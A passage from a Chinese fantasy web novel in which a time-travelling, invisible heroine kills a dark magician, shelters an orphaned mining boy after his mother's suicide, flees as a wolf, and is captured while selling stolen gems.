“心脏的面积最大,但是我最不推荐的部位。”罗莎找来雷尔夫示例:“很多时候,目标都会在这里藏着保命的手段,如果你无法一击必杀,那么死掉的就会是你。” “过来摸一下。”罗莎拉着自己的手放在雷尔夫的后颈部:“这几个部位中,我建议你练习这里。非常面积小,但后颈是最容易接近的位置,从效果来说,性价比最高。” 艾米还记得那天的阳光和微风,记得空气中甜丝丝的小蛋糕香气,记得练习使用的那把没开刃的匕首,记得手柄上的花纹在用力攥紧的手心留下的痕迹。 她记得一切。 也记得匕首要插进去的位置。 血没有流出来多少,稀薄的一点,顺着她的手腕一直流到手肘。 她快速地抽出来,在赫伯特抬起手之前在咽喉处补了一刀。 这次血几乎是喷涌着流了出来,他无力地捂住脖子,满脸恐惧,对着空无一人的空气愤怒地想要开口说话,却只能发出血呛气管的声音。 他是魔法师。艾米冷静地想,不能给他任何做出其他动作的机会。 她又捅了下去。三次。 直到男人的眼睛从愤怒和惊讶变成求饶、再到无神。 艾米蹲在他尸体的旁边,解开他的外袍,果然在胸口处发现了不知道什么用处的魔法道具。 她剥开他的衣服,对着心脏的位置又补了一刀。 这是她第一次杀人,她要保证万无一失。 血将她白色的睡裙染透了,尤其是胸口处,浸满了血,沉甸甸的,起身时差点把她身体带倒。 “能动了吗?”她听到自己的声线颤抖,带着缺氧后的急促呼吸。 男孩小脸惨白,仍然坚持着点了点头。他下意识想用手臂撑着自己身体起来,却一个踉跄栽了下去。 艾米连忙伸手扶住他。 “他的尸体很快就会被发现。”她迅速整理着思路:“我们要离开这里。” “你有地方可去吗?安全的,暂时可以躲一躲的地方。” 埃克森犹豫了片刻,又缓缓点了点头。 “好。”艾米把匕首上的血往赫伯特外袍上蹭,然后撩起裙子,重新将它收起来。 做完这一切后,她忽然躁动不安地摇头。 “不。”她否决了自己刚才的提议:“先不走,我们先在这里休息。” “这里有食物和水、有药。你的伤口需要包扎,我也需要重新换身方便点的衣服。” 她的大脑高负荷转动,因此语速极快:“最起码,一晚,今晚我们还可以躲在这里。他这地方距离主楼有一段距离,没人会发现他死了。派恩找回了自己的儿子,旅馆紧张的戒严会停止,我们等到明天也更好溜出去。没错,应该这样,先休息” 艾米边说着边蹲下来,她想把赫伯特的尸体拖出来,却发现自己全身都使不上劲,直接一屁股坐在了地上。 这一点泄气似乎将她全身的力气抽走,刚才因为紧张而带来的肾上腺素尽数耗尽,只剩下后知后觉的疲惫。 “算了。”她坐在地上,垂眸看到血从男人的喉咙处顺着身体流到地面,然后蜿蜒着被自己的裙子边吸满,“看来我现在就需要休息。” 地下室的灯光明亮,将两人的影子都打在了墙壁上,纠缠在一团。外面很安静,或者说,这里的隔音很好,所有的嚎叫和痛苦都能被石墙锁住。 艾米抬起头,向在木板上沿边坐着的男孩露出平静温和的微笑。 “做个自我介绍吧?我还不知道你的名字。” “埃克森。”男孩小声地说,他还不会如何掩饰内心,因此脸上是显而易见的惊讶。 大概是既好奇面前的年轻女人是谁,又好奇她为什么要救他。 “艾米,我叫艾米。”她的声音疲惫,但没有困顿,还算精神,“我们可以聊聊天,加深一下对对方的了解吧?” 艾米的本意是和他简单聊聊,比如黑石会是什么?他为什么会卷进小少爷的失踪事件?又或者他是谁,他的家在哪?在发现派恩公爵的儿子并不是自己的攻略对象之后,艾米还有些混乱。 但埃克森却过了半响才挣扎着开口,语气怯生生的:“你想从我这里获得什么?” 艾米微怔:“什么意思?” “身体的一部分吗?还是什么别的?”埃克森看起来有些手足无措:“或者,你想要带走我的生命或灵魂呢?” “要不然,您为什么会救我呢?” “当然不——”艾米第一反应是否认,却紧接着不得不承认,自己确实是因为‘某些原因’才救他的,因此越往后底气越不足。 埃克森没留意她话里的异常,只眨着眼睛诚恳且认真等着她继续说,那副乖巧可怜惹人怜惜的模样就像是只要她说什么,他都会相信一样。 和二十八岁的他完全不同。 艾米忽然笑了,深棕色的瞳孔软了下来,沾着血渍的唇角上抬,令她圣洁温和的面庞多了几分锐利。 “是,我有想要从你这里获得的东西。” 埃克森紧张地坐直了背。 “我想要你的心。” 白色的棉布睡裙沾满着一团一团的、斑驳的血迹,埃克森觉得她像盛开的玫瑰一样漂亮。 埃克森忽然产生类似庆幸的念头。 太好了。 他的这具身体还有她想要的东西。 第90章 第90章宝石和衬布。 “你准备什么时候取走我的心脏?” “还没到时候。” “那什么时候算是到时候?” “这种事情说不准的。” “可是我听说很多故事里魔鬼都会先约定好什么时候来取走报酬。要不然你先告诉我吧,求求你了,我想心里先有个底。” 艾米无可奈何,声音都高了两个度:“你有完没完?你一直问,是很着急去死吗?” 她开始后悔为了装酷说那种莫名其妙的话,谁能想到公爵大人小时候是个铁话痨?对方几乎一整晚都揪着她说个不停,从为什么别人看不到你到干你们这行每年要抓几个小孩才够完成任务以及除了心脏别的东西不要吗之类的莫名其妙的问题,到底是哪里来的这么多问题? “哦。”埃克森看出她生气,老老实实地安静了片刻。 他小口吃着艾米从厨房拿来的面包,一只手臂被绷带裹着,不说话的时候看起来很可怜,尤其是那双可怜的下垂眼好几次悄悄扫过来,简直把欲言又止四个字写在脸上。 艾米叹了口气。 “你还想说什么?” 埃克森下意识举起断臂那边,肩膀转动片刻后又换成拿着面包的 手。 “我还能再问最后一个问题吗?” 他伸出食指,比划一个“一”,小心地贴近脸颊,可怜的表情带着祈求的意味。 “问吧。”艾米点头。 “等到那个时候,就是你决定要取走我心脏的时候,能不能先杀了我?”他的瞳孔像名贵的黑曜石一样闪亮:“很疼,因为如果你直接取的话,真的会很疼。” 名贵的宝石展示时常常放在深色的天鹅绒垫布之上。这种同样不菲的布料有着高级的触感,柔软的材质能保护宝石不会轻易磕碰,但另外一个重要的原因是,它十分细腻,吸光性强,能够有效减少环境光线的反射,使得宝石的每一个切面都更加闪烁。 ——注视着埃克森的眼睛时,艾米不由自主地就想到了这些,他的眼皮上有一道窄窄的褶皱,看起来很薄很柔软。 她为自己刚才刚才的话而感到后悔。 “其实我不是魔鬼。” “或者说恶魔总之什么乱七八糟的。” “我就是一个普通的人,我因为一些嗯意外,出现在了这里。” “但我就是一个普普通通的人。”艾米语无伦次地解释道:“我除了能在其他人面前隐身之外,基本上什么都做不了。” “我知道。”埃克森打断了她的话:“我知道。” 他又指向赫伯特的尸体:“你是用匕首杀死的他。” 艾米微怔,看到小少年神色平静。 “没有魔鬼用匕首杀人的你甚至连魔法师都不是。”他咧开嘴角,抬起小小的弧度:“我只是太疼了,对不起,我太疼了我想和你说说话,说说话我就不那么疼了如果你觉得吵的话,我就不说了。” 他的脸颊轻轻颤抖,这让他的笑看起来都很勉强:“其实,疼的时候,我也很开心的说明不是做梦,遇见你不是我的梦,是真的。” “我只是觉得你需要休息。”艾米轻叹,起身站在他的面前:“我没有觉得你吵。” “你流了很多血,你需要吃很多饭然后睡很多觉才可以。” 埃克森乖巧点头:“好。” 他将身体的重心缓缓靠向好的那边身体,然后轻轻往下躺,直至脑袋碰到枕头。 “醒来后你还会在吗?”他问。 艾米为他盖上了被子。 “会的。” 她没有问他的心愿是什么。 艾米想,她最起码也要等他的伤口好了再走- 即使埃克森十分瘦弱,但他也比睡觉时还需要抱着长垂耳兔玩偶的布利斯要大许多。 站直身体的时候,他差不多已经快到艾米的胸口了。 艾米无法背着他翻墙,只能找别的出去的办法。 “我们从厨房后门走。”说话时她刚把赫伯特的尸体处理好,费了很大劲才将这个男人塞进他自己地下室的一个装炼金术材料的大桶里。 埃克森则单膝跪着,用力擦拭地砖上最后一块显眼的血渍。 “等到送菜的来,我把你塞进马车后面的木桶里。”艾米上下打量埃克森:“你应当比他好塞多了。” 埃克森自然没什么意见。 趁着天还没亮,两人在各种花里胡哨的庭院装饰的掩盖下,穿过一路困顿的士兵,躲在艾米提前踩好点的位置,等待送菜的马车出现。 “你在这等会,我再去拿点吃的。” 考虑到从这里逃出去就吃不到酥皮挞了,艾米又花了二十分翻了一遍厨房,在身上塞满了食物。 埃克森紧绷的神经在看到她身影的那刻才放松下来。 两人坐在草坪上,边吃早餐边小声聊天。 “等我们出去,你有地方去吗?”艾米有些担忧哈卡兹家的人迟早会发现赫伯特的尸体,到时候会满城寻找凶手。 埃克森轻轻点头:“我们可以去矿区。有句话说‘地精钻进矿洞里都找不着回家的路’,那里的环境很复杂,躲进去就没人能找到你。” 艾米想起他们一直在提的‘黑石会’,昨晚只简单问了几句,大概是从矿工中发展起来的一个民间组织,因为反抗哈卡兹家的统治所以被针对。不过,从埃克森的描述来看,这更像是一个类似兄弟会的同盟,内部很混乱,没有什么有力的领袖,大多数人纯凭自己的心意做事。就连昨天组织的那起绑架,他们黑石会的目的也只不过是为了敲诈派恩公爵一笔钱、或者干脆把小少爷身上的有钱东西全部扒光而已。 “那是黑石会的据点吗?”她问。 埃克森摇头:“不是,只是我的家而已。” 艾米又问:“你这么小,就已经加入黑石会了吗?” “没有。是他们找过来说,如果我和他们一起,就给我妈妈买一张轮椅。” “轮椅?” “妈妈之前去给爸爸送饭的时候,遇到了矿难,腿被压断了。” “那你爸爸呢?” “死了,就死在那场矿难里。” 艾米短暂沉默片刻,还是埃克森主动安慰她:“他已经死了两年了,我早就不难过了。” 艾米努力笑了笑,她撑开自己的口袋,展示里面的宝石:“是,这些就够给你妈妈买个轮椅的了。” “还有这些!”埃克森兴奋地压低声音:“我没吃过这么好吃的面包,咬第一口的时候就想留下来给妈妈尝一尝。” 说到后面,他有些不好意思。因为昨晚偷偷吃两口就塞口袋里被艾米发现的时候,他还吓了一跳,差点以为她要打他。 晨曦渐渐晕染上天空,在橘色的暖光中,漂亮的黑曜石染上温柔的光泽,在薄薄的眼皮包裹中折射彩虹色闪光。 怪不得越是名贵的宝石火彩程度越高。 艾米笑着摸了摸他的脑袋。 多漂亮的一双眼睛- 跟着送菜的马车驶离这条街区后,他们从后面跳了下来,由埃克森带路,两人朝矿区走去。 因为不放心埃克森的伤口,所以艾米每次路过药剂店,都忍不住进去顺点东西出来,以至于她特意换的一件多口袋的宽大外袍变得十分沉重,堪比留子坐没有行李箱额度的廉航。 “走慢点。”她气喘吁吁,浑身冒汗。 埃克森提出要帮忙拿一些。 艾米看着他的细胳膊细腿,以及还在渗血的伤口,最后只丢了几个面包给他。 “你吃点吧,当做替我减轻负担了。不用担心,我身上还有很多。” 埃克森皱眉:“我不是小孩子了。父亲死后我就已经在矿区找活干养活我和妈妈了,搬过的石块比你身上这些东西加起来都重。” 见他坚持,艾米只好把马甲脱下来给他。 两人就这么叮叮咣咣地继续赶路,走了两个小时,才来到矿区的外围,这里是已经废弃的部分,偶尔能见到几个临时搭建的棚屋,门口还撑着两三条毛巾。 “话说,黑曜石这么昂贵,矿工不会在下工后偷偷带些走吗?”艾米忽然问。 “从产区出来的所有人都要脱光接受检查,再经过一道附加了魔法效果的长廊。”埃克森说:“所以没人能从里面带出来东西。” “而且一旦被发现,就会被狠狠打一顿,基本不死也半残了。” 他的语气很平静,并不觉得这有什么不对。 “不过我现在还不能进去,只能干在外面拉石头的活。”矿石开采要先剥离表面的土层,他现在做的 就是将敲下来的石块和泥土拉到外面倾倒区的工作。 “就在前面!”埃克森的语气变得欢快,他指了指着前面岩壁下的台阶:“要从一个小道下去,你要小心,很陡峭。” 艾米一开始不以为然,但在看到具体有多陡峭后还是沉默了。埃克森似乎根本不受影响,他甚至少了个胳膊保持平衡,就这么踩着石壁的凹槽蹦跳着几步下去了。没办法,艾米也只能硬着头皮往下跳,好几次心都悬在了嗓子眼。 边跳边忍不住担心,这上去该怎么办啊。 崖壁之下坐落着几栋小木屋,埃克森甚至迫不及待地拉住了艾米的手,只因为她走得太慢。 “快点,快点。”他难得露出孩子气的一面:“我们带了这么多东西,妈妈一定很高兴!等下放完东西我就去找做轮椅的人,我知道矿区就有,这里断腿的人很多,所以做轮椅的也有好几家,有一家还能附魔法!我听说过,我之前就听说过!我要第一个就先去那家问一问价格!” 他因为兴奋而语速极快,叽里咕噜地说了一大串,手无意识地用力攥紧,甚至给她拽得有点疼。 在这种热烈的开心感染之下,艾米也忍不住高兴起来。 快到门口的时候,埃克森忽然放满了脚步。 “嘘。”他压低声音,亮晶晶的眼睛带着几分狡黠的可爱:“我们轻声点好吗?我想给妈妈一个惊喜。” 于是艾米蹑手蹑脚地跟着他推开了门。 “妈妈!”埃克森猛得往屋里冲,边跑边喊:“我回来了,妈妈!” 他的声音忽然变得颤抖。 艾米看到他小小的背影站在床边,双腿一动也不动。 床上,一个年轻瘦弱的女人顺着床沿垂下整个上身,一条拧成长条的绳子一端系在床头附近的窗框,另一端挂在她的脖子之上,勒出已经变色的黑紫色 她在床上,用自己身体的重量,艰难地完成了一场自缢。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第91章他又一次品尝到了无能为…… 埃克森将母亲葬在了一处平坦的山坡,那是矿区为数不多还有阳光的地方。 他没有表现出太多悲伤,只是淡淡地沉默着,艾米每天给他的伤口换两次绷带,撕下来时会黏连皮肉,但他总是一声不吭。 第四天的时候,从旅馆带出来的食物都吃完了。 “我们必须要出门。”艾米裁剪下一块新的布:“而且,你的伤口一直在渗血。” 她不知道这样的断肢表层需要多久才能长好皮肉,也许需要十天,或者半个月,她待不了这么久。 “这附近有什么可以买东西、看医生的地方吗?”艾米问。 埃克森晃了晃自己的肩膀,垂眸看着本该是手、现在却是一片空白的地方:“我们可以去集市。” 他放下大臂,抬起巴掌大的小脸,挤出一个讨好的温和的笑:“矿区的集市你还没有逛过吧?” 见他不似前两天那么沉闷,艾米也松了口气:“集市上有医生吗?先去买点药。” 埃克森点点头,又摇了摇头:“有但不是医生,往常如果生病的话,我们会去找黑婆婆。” 听起来像是什么巫医,艾米皱了皱眉。尽管知道这是个超自然的世界,但她仍然会对这种民间迷信心存怀疑。 埃克森解释道:“黑婆婆很厉害,她还会通灵,只要她答应了你,就什么都能做到。” “魔法师?”艾米只能想到这个解释。 “不,她不是魔法师,她只是,有一些别的办法。” 艾米刚想说听起来很不靠谱,感觉是会涂抹一层草药然后让伤口加速感染的角色。但埃克森却补充道:“就像你也不是魔法师,却能够隐身一样。” 好吧。这么说来确实也有道理。 矿区的集市实际上比很多小镇集市都要热闹,这里生活着很多矿工,加上他们的妻子、孩子,人口规模也近乎城镇了。不过和外面的城市和村镇相比,这里的人们漂泊感更重,许多建筑都是临时搭建的棚屋,似乎所有人都觉得这里只是暂居之地,可又被迫一年年地住下去,一层层加盖、维护、临时的木架子,都让原本的房子变得千奇百怪。 埃克森带着艾米穿过错综复杂的岔路,最终停在一栋十分普通的建筑前。 在其他千奇百怪的建筑面前,这种普通也多了几分“特别”。 “就是这里。”埃克森上前一步,把完好的那只手放在门上挂着的像是钟表盘一样的东西上,五指岔开。 “你在做什么?”艾米问。 她看到上面像是指针一样的尖刺忽然开始在他的指缝间移动,速度越来越快,伴随着一声清脆的弹响,最后停在了食指和中指的缝隙间。 下一秒,尖刺上弹出尖钩,擦着他的指尖而过。 艾米吓得叫了一声。 埃克森却很遗憾的样子。 : “看来黑婆婆并不愿意见我。” 他伸出完好无损的手,解释道:“如果她愿意见我,会取下我中指的血。或者她觉得我没什么能够付出的代价,所以不愿意和我做交易。” 艾米一把抓住他的手:“还是算了,我们去买点药剂和绷带吧。” 这种看起来就不怎么正规的迷信行为还是不要尝试了。 在矿区的集市是花不出宝石的,只能去外面兑换金币。因为这里的人担心你的宝石是非法途径获得的,而一旦和矿工盗窃牵扯上关系,很容易小命不保。所以两人花的是埃克森家里剩下的几枚硬币,是他之前攒下来想给母亲做轮椅的。 路过一家杂货铺的时候,他拽了拽艾米的衣袖,示意她跟着自己进去。 “需要买一床厚的垫子。”他看了看周围,确保没人注意到自己,小声说:“我好几次发现你晚上睡不着,这样你以后会睡得更好点。” 艾米脚步一顿。 她确实会因为床板太硬而睡不着觉,但在这个世界里,她是没有以后的幽魂。 也许要不了几天,她就会消失。埃克森不应该把钱浪费在自己身上。 “我暂时还不需要。”她用力想把他从杂货铺拽出来,装作若无其事地转移话题:“我们还要去药剂店,别浪费时间了。” 埃克森脚下像生了根一样不动,他的脸色变得很差。 “妈妈之前也经常这么对我说,尤其是在她瘫痪之后。” “不需要,没必要,别浪费。” “我一开始以为她只是节俭。” 他的声音颤抖,隐隐带着哭腔。 “几天前,黑石会的人找来,说只要我帮他们一个小忙,就给妈妈买一台轮椅。” “我很高兴,但妈妈却朝我发了火,她说没这个必要。” “怎么会没必要呢?她以后可以坐在轮椅上,自己在周围转一转,不用整天只能躺在床上了。” 埃克森抬起头看艾米,眼泪大颗大颗沿着脸颊落下。 “是因为她早就想着没有以后了吧?” 艾米一时间不知道该说什么。 埃克森用手背抹掉眼泪,抽了抽鼻子,垂下脑袋,扯了扯艾米的手指:“走吧。” 他没有继续借此发泄,就这么轻轻带过了,那些痛苦和泪水被他一口吞下,只在滑过喉咙的瞬间委屈了片刻,而后迅速投入胃袋,化为说不出口的沉默- 快到家门口的时候,埃克森忽然变得很紧张。 艾米一开始还以为这是因为他的心理阴影。毕竟无论是谁,在满心欢喜地推开家门后,看到的却是自缢的亲人,都会产生挥之不去的痛苦阴霾。 但很快,她意识到了不对劲,附近多了些陌生人。 “那是黑石会的人,我见过。”埃克森压低声音,表情凝重,“他们过来干什么?” “你说连地精钻进矿洞都找不到路,那黑石会的人呢?对于他们来说,想在矿区找人,应该很容易吧?”艾米把他拉到自己身边,“我想,尸体恐怕已经被发现了。” 埃克森有些吃惊:“可是黑石会一直宣称他们要反抗派恩公爵的统治!他们策划过好几次针对公爵大人的活动怎么会为公爵做事呢?” “反抗是吸引新成员的噱头。而和公爵合作是黑石会还能存在的基础。” “头低下去,小心点,慢慢挪到墙后面我去另外一边搞出点声音吸引他们的注意力。” 埃克森的手却攥得更紧了,令她一时间抽不出来。 就在这时,那个在门口闲晃荡的男人注意到了这边。 “那小崽子出现了——”他大声喊着,更多的人从周围出现。 两人二 话不说立刻转头狂奔。 艾米要依靠埃克森带路,但这孩子受了伤,平衡又差,没跑两步就一个踉跄磕破了膝盖。 再这样下去,被抓住只是迟早的事。 她的大脑只能比腿转得更快点。 “爬上我的背!快点!别愣着!”艾米忽然蹲下来,着急地催促着。 埃克森慌乱地单手勾住了她的脖子。 石块砸中了他的腿,这让他膝盖一软,差点滑下来。 “抓紧了吗?”艾米又问。 后面的人快要追上他们了。 “发生什么都别害怕,你只要记住抓紧我的脖子!”艾米又快又急地说:“好了,现在告诉我,我们应该朝哪跑!” 埃克森趴在艾米的后背上,感受着她滚烫的体温,心底满是绝望。 如果,如果自己不是这么没用的话突然,艾米的身体开始剧烈的颤抖,她的后背变得宽阔而厚实,一层毛发迅速覆盖上皮肤,埃克森下意识抓紧了她的肩膀,手心里掠过的是厚实的长毛。 下一秒,他们像疾奔的旋风拉开了和后面追击者的距离。 “左边还是右边?” 埃克森听到熟悉的艾米的声音,迅速指明了方向。他顾不上纠结为何艾米会变成一头狼驮着他逃跑,只能紧紧地贴在她的背上,提前指明每次岔路的方向。 耳边是呼啸的风,原本沉重的脚本变得轻盈而迅速,每次跳跃都能带来数倍人类双腿跨越不了的距离,这种非同寻常的体验让埃克森心跳加速,既兴奋又担忧,大脑一片混乱。 在一个又一个岔道口之后,背后的咒骂声不知何时已完全消失,他们躲进了更下面的深处矿洞,四周只剩下一片静谧。 颠簸感逐渐放缓,埃克森拽着狼的后颈长毛,满满从后背上滑了下来。 他感觉自己这段时间就像做梦一样,这么多次差点要死了,却又如此离奇地活了下来。 “你还能变回来吗?”他的目光紧紧地盯着眼前的这头狼,小心翼翼地摸了摸她的长吻。 “能,就是要再多等一段时间。”狼低下头,主动蹭了蹭他的脸。 埃克森总算长舒了一口气。 “不过你的家不能再待了”谈论起这件事,艾米的语气好像比他更焦急,“要尽快给你找个新的、安全的地方。” 埃克森平静地看着她:“为什么?” 狼正不耐烦地在洞穴里踱步,“什么?” “既然你不是需要我的心脏、或别的什么,为什么要这么一次次地救我?” 艾米第一次从埃克森的脸上看到了未来“洛克公爵”的影子。 她感到片刻的恍惚,没有说话。 “抱歉,你不想说的话,我” 艾米又垂下脑袋蹭了蹭他,想用这个方式表达友好:“其实没什么需要隐瞒的。我是为你而出现的,嗯,守护神,我出现的目的就是为了拯救你,而我的使命就是实现你的心愿。” “可惜,我无法让你妈妈重新活过来,对不起,我能做的其实很少。” 被毛茸茸的狼头蹭着脖子,埃克森立刻害羞地结巴起来:“不不不,你做了很多。我只是觉得,你做的已经够多了。” “完全不够,我到现在还没有实现过你的心愿呢。”艾米在他想要张口解释的时候打断了他的话:“你先好好想想,然后告诉我,好吗?这对我很重要。” 埃克森轻轻点点头。 “现在,先休息一会吧?”艾米用前爪轻轻搭在他的肩头:“要不要在我的怀里躺一会?等我恢复了身体再出去。” “去哪里?” “去外面,去城里。我随身带着一口袋的宝石,我们去外面卖掉,然后想办法去其他城市,怎么样?” 埃克森茫然:“别的城市?” “布佛里托是派恩公爵的领地,你在这里不安全。我们可以去王城,可以去北境,外面还有很多很多城市。” 艾米听到系统已经在提醒她停留时间过久,再不完成任务就要失败重开了,但她没有理会。 埃克森窝在她腹部厚实的绒毛中合上了眼睛。 “好。”他低声说- 再次出现在城区里,埃克森带上了佣兵常用的兜帽遮挡。对于这样一座异种和魔法师遍地的城市,这种装扮并不算古怪。 两人对销赃都没什么经验,站在宝石一条街打量着两旁琳琅满目的宝石店铺,不知道该选择哪一家。 “大店铺才能一口气吞下我们的口袋里的所有宝石。” 艾米望向街道口那家有着漂亮橱窗和精致牌匾的店。 “但小店铺可能给的价格更高些。” 两人又看向左手边一家狭小昏暗、只刻了在售物品木牌的店铺。 埃克森提出意见:“或者我们可以分开售卖,比如每家店卖一两颗。” 不错的主意。 先出手的是些便宜货,从旅店的墙面或者包金扶手上撬掉的装饰,只有金子材质的能卖得上价,剩下的加在一起也不过换了几枚银币;其次是从赫伯特的房间里搜刮出来的,大多是黑曜石,他是个魔法师,抽屉里轻轻松松就能翻出来一匣子没用过的,很快就把钱兜塞满了。 最后是艾米从小少爷房间里顺手摸的两枚宝石袖口,因为很漂亮,就顺手掳下来了。 “这个东西应当能卖个好价格。”艾米摊开手心,将两枚精致的袖扣展示给埃克森看,“我觉得多问几家店比较保险。” 于是他们第一站选择了那家最大最明亮的珠宝店。店员没因为埃克森瘦小的身形和奇怪的装备而露出任何瞧不起的表情,正相反,他的神秘气质反而收到了座上宾的待遇。 “还真是布佛里托特色。”艾米压低声音在他耳边说,“越神秘,别人越觉得你强大。” 这是座比起身份,更尊崇‘力量’的城市。从街头各式各样的人种就能看出,更别说在这里,连黑魔法师都能受到尊重——或者说,这种尊重源于人们对他的‘恐惧’和‘害怕’。 在一眼扫到客人想要售卖的宝石袖扣时,店员的殷勤更甚,主动引两人到贵宾室详谈。 不一会,一位瘦削的中年男人严肃地走进来,他的鼻子上挂着单片眼镜,很有礼貌地坐在了埃克森面前,摊开面前的桌布,上面摆着各式各样看不出功能的小玩意。他示意客人将宝石放在衬布上,然后取下鼻子上的眼镜,调亮一旁的小灯,用镊子轻轻转动宝石,观察不同光线下的折射。 “嗯很均匀流畅感很好工艺也十分精湛。”他给出了很不错的评价,然后又从刚才的绒布上拿出一只发出淡紫色的小灯,斜斜地打在宝石上。 紧接着,他重新戴上镜片,手脚麻利地收拾起自己的工具。 “抱歉,先生,请您稍等片刻,我会将估价告诉老板。” 埃克森点头。他担心张口说话会暴露自己的年纪,因此一直保持缄默。 等到这人离开,艾米才悄悄在他的耳边说:“看起来不错,说不定会比之前所有东西加一起卖出的价格更高。” “有这笔钱,你去哪里都可以生活得很好了。” 埃克森把脸埋进兜帽里,悄悄生着不想被人发现的闷气。 过了十几分钟,说好的老板却迟迟没有出现,不仅如此,甚至连刚才嘘寒问暖的殷勤的店员也不见了。艾米觉得有些奇怪,说着就要去外面看看。 仅仅将门推开 了一道缝,不知什么时候出现在门外的士兵就将长矛从缝隙捅了进来,擦着艾米的肩头扎了个对穿。 猝不及防的攻击令她疼得连话也说不出来,脸色惨白,咬着牙才撑着墙面站定。 老板终于姗姗来迟出现。 他前面是身穿轻便短甲、手握精刚长矛的士兵,其中一柄尖端赤红,是艾米肩头的血流下的痕迹。 “敢偷公爵大人的东西出来卖,你也真是胆子大!”老板盯着埃克森,恶狠狠地说,“前段时间杀了公爵大人身边的魔法师的人该不会就是你小子吧?” 埃克森用余光看到艾米捂着伤口坐在墙角,他担心会暴露她的位置,所以连眼神都不敢乱动。 瓮中捉鳖。 艾米脑子被疼痛搅成一锅粥,只堪堪冒出这四个字。 看到埃克森因为担心而鼓鼓囊囊的小脸,她忽然觉得有点想笑。这孩子比她第一次见他时胖了点,还真是令人欣慰。 耳朵嗡嗡地响,艾米似乎听到了什么和自己有关的内容。 隐形人一定要抓到什么的。 啊,有点棘手了。 她撑着墙想站起来,却一阵阵腿软,血从指缝间流出,滴落出一条从门口到桌边的痕迹。 算上她等下打算要用的技能卡,这次回溯差点把她的家底掏空,结果最后还没能完成任务。 ——看来公爵大人天生就克她。 她搭在小少年的肩头,脑袋趴在他的耳边做最后的叮嘱。 “我能救你这么多次,这次也可以的。” “你相信我吗?” 埃克森轻轻点头。 “好,等下爆炸之后,你就往外跑。” “剩下的别管了,你断了一条胳膊,只会拖累我。” 艾米绞尽脑汁打着补丁,唯恐埃克森折返回头。 “我会想办法去找你的,但是你要逃出去。要不然我在你身上花的心思全都白费了,你应该能明白吧?” 埃克森小声啜泣。 士兵将门口堵得严严实实,他们还带了魔法道具,为的是将那个前段时间出现在旅馆又逃掉的‘隐形人’抓住。这件事的优先级甚至超过了另外一个普通的小偷。 “准备好。”艾米翻出自己唯一的一张攻击卡。 来自大魔导师的一击。 她有点期待这张卡的威力——最好别把她自己给压死了,那就有点倒霉了。 刺眼的白光之后,爆炸的冲击让埃克森的耳膜剧烈地震颤,除了刚才尖锐刺耳的鸣叫外他几乎听不到任何声音。循着光亮从废墟里钻出来,周围一片混乱,所有人都惊慌失措,埃克森努力从他们的脸上分辨当下的情形。 也许过了几秒,也许过了几分钟,耳鸣逐渐被嘈杂慌乱的人声取代。 他还记得艾米的叮嘱,拖动着自己的身体躲在了最近的墙后。 “抓到了!” “就在这里!” “我摸到它了!” “这里还有它流下的血迹!” 埃克森垂眸,看到刚刚挣开的伤口浸透了绷带,滴滴答答地在地面积了一小洼鲜红的血。 他又一次品尝到了无能为力的滋味。 第92章 第92章这对我来说很重要。…… 被关在笼子里无聊的时候艾米只能和系统聊天打发时间。 “为什么不能保留攻略对象对我的记忆,这样我回去不是省事多了?”她问。 系统一板一眼:“因为回溯功能主要是为了让你更加全面地了解你的攻略对象,制订合适的攻略计划,不是为了让你速通直达结局的。” 艾米想了想说:“但实际上,如果攻略对象卡bug,你们也没办法。” 她说的是布利斯许下的心愿,虽然十九年后,他记不得自己的长相,却还是通过别的认出了自己。 系统沉默,当它面对自己不想回答的问题时就会这样装作没听到。 艾米既无聊伤口又疼,拼命想找人说话转移注意力,见自己的聊天搭子闭麦,立刻提出要换个话题。 “话说,干你们这行在退休前要抓多少宿主才能完成kpi?” 她忽然意识到这些问题似乎都是埃克森当时问她的,而现在,绞尽脑汁让聊天继续下去的人变成了她。 系统:“抱歉,该内容的答案不在我的服务范畴内。” 在漆黑又寂静的地牢里,一丁点声音都能给人带来极大的慰藉,实在没得选,艾米听着自动回复也觉得有了点热乎乎的人味。 艾米:“那我什么时候会消失啊?” 系统:“大概不到一天。” 艾米掰着手指算了算自己回溯到这里的时间:“那就是差不多七天?”她坐直了身体,“既然一开始就有时间上限,为什么不直接告诉我?” 系统:“本来可以待更久的,但你现在受伤了,所以剩下的时间在减少。” 艾米重新靠回墙壁:“好吧。” 肩膀忽然的抽痛令她面目狰狞。 “好疼。”她浅浅叹了口气:“能让时间过得快点吗?我想早点重开了。” “这里好糟糕。” 混乱、无序、暴力、痛苦,和无数梦想靠着一波大的赚够下半辈子金币的赌徒。 这就是布佛里托。 她想起刚来的第一天,路人聊天的话题都是怎么从大人物手里搞钱,旅馆厨房的佣人对于从后门运出去的尸体淡漠又司空见惯。暴富和死亡如影随形,这是所有人都认可的法则,站在岔路口,要么往左坠入无尽的贫穷,要么朝右踩着钢丝去够最顶端的金子,没有中间第三条路可选。 系统难得展露了几分关心。 “熬过今晚就好了。”它说。 艾米很惊喜:“真的吗?不过,你刚才还说还有将近一天才能结束呢。” 系统:“因为你流血流得太多了,会比我预计死得更快些。” 艾米: 那还真是谢谢了。 暂时还没有人顾得上她,派恩公爵那里应该是一团糟。 小少爷被送回来后一直生病,高烧不退,光明法师已无计可施,所以派恩才想起自己豢养的黑魔法师赫伯特,指望他能想点办法。 当然,他最后只找到了赫伯特的尸体。 很多人都知道魔法师大人带走了一个七八岁的男孩,现在他死了,男孩却不见了。几乎不需要什么拷打的手段,黑石会立刻把埃克森的信息全部抖落了出来,包括他家的具体位置。 紧接着,就是有人找上门,而艾米背着埃克森逃亡的那段经历。 按理说也就到此为止了,公爵对惹了自己的人不会手软,但眼下他还是有更要紧的事情处理。赫伯特死了,他要找其他人给他儿子、他唯一的继承人看病,这件事的优先级高于一切,几只蛰咬人的蚂蚁,虽然碾死很方便,可一旦不顺手,也就随它去了。 坏就坏在两人拿着小少爷的宝石袖扣出现在珠宝店。 艾米是外地人,而埃克森又太小,他们都不知道,公爵大人的东西向来都有自己的印记,一旦市面上出现带有他名字的宝石,任何一个流通环节的中间人都要面临轻则砍手重则砍头的刑罚;有经验的人会拿去外地销赃,虽然卖不上市价,但总好过小命不保。 也只有他们两个蠢蛋会堂而皇之地将小少爷的东西拿到这么大门面的珠宝店售卖,怪不得那位鉴赏师最后表情这么奇怪,收拾东西时的手脚也过于麻利了,就跟唯恐沾上脏东西一样。 